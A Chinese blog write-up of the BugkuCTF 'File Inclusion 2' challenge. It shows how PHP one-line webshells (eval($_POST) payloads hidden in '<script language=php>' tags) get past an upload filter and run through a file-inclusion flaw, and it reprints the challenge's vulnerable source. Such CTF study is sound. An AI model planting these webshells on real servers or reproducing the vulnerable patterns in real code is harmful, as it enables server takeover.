美文网首页
BugkuCTF 文件包含2

BugkuCTF 文件包含2

作者: Visianlee | 来源:发表于2019-06-08 21:46 被阅读0次

    有一个文件上传url


    image.png

    经过测试发现上传之后后台会进行二次处理,统一处理成xxx.jpg,并返回路径。

    测试一下文件能不能访问,直接访问返回图片,用文件包含访问把图片当作php文件解析,因此我们上传时直接上传图片格式即可。
    但是还是不妨测试一下发现.php;.jpg可以绕过过滤,不过没有什么意义。


    image.png image.png

    第一次我用的小马是

    <?=eval($_POST['abc']);>
    

    发现被过滤了
    我们尝试别的语句

    <script language=php>echo'nihao';eval($_POST['abc'])</script>
    <?=eval($_POST['shell']);>
    

    发现可以执行成功
    最后拿菜到连上shell即可

    别的姿势
    可以直接在一句话里执行命令

    <script language=php>system("ls")</script>
    

    由于我们连上了菜刀,我们可以把源码dump下来,仔细分析一下原理,源码如下:
    index.php

    <!-- upload.php -->
    <?php
        if(!isset($_GET['file']))
        {
            header('Location: ./index.php?file=hello.php');//重定向
            exit();
        }
        @$file = $_GET["file"];
        if(isset($file))
        {
            if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)//限制不能用php://input等方法读取源码
            {
                echo "<h1>NAIVE!!!</h1>";
            }
            else
            {
                include($file);
            }
        }
    ?>
    

    upload.php

    <html>
    <head>
        <meta charset="utf-8"/>
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <title>UPLOAD</title>
    </head>
    <form action="" enctype="multipart/form-data" method="post"
    name="upload">file:<input type="file" name="file" /><br>
    <input type="submit" value="upload" /></form>
    请上传jpg gif png 格式的文件  文件大小不能超过100KiB<br>
    <?php
    //error_reporting(0);
    if(!empty($_FILES["file"]))
    {
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        @$temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);
        if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
        || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
        || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
        && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
        {
            $filename = date('Ymdhis').rand(1000, 9999).'.'.$extension;
            if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
            $url="upload/".$filename;
            $content = file_get_contents($url);
            $content = preg_replace('/<\?php|\?>/i', '_', $content);//过滤<? php ?>
            file_put_contents('upload/'.$filename, $content);
            echo "file upload successful!Save in:  " . "upload/" . $filename;
     
        }else{
                echo "upload failed!";
        }
        }
        else
        {
            echo "upload failed! allow only jpg,png,gif,jpep";
        }
    }
    ?>
    

    文件上传漏洞学习文章
    https://www.baidu.com/link?url=ocK5c71Rg8CAS2SUfGDs9WJXFKCiZnHhE_tB8Mue-tTvcvE6MNKyvJfnlaZEp0ac&wd=&eqid=946c744f003b6178000000025cfb73dd

    参考文章:
    https://blog.csdn.net/zazazrt/article/details/87574205★★★★
    https://blog.csdn.net/weixin_43571641/article/details/84667126
    https://xz.aliyun.com/t/2657

    相关文章

      网友评论

          本文标题:BugkuCTF 文件包含2

          本文链接:https://www.haomeiwen.com/subject/wxkwxctx.html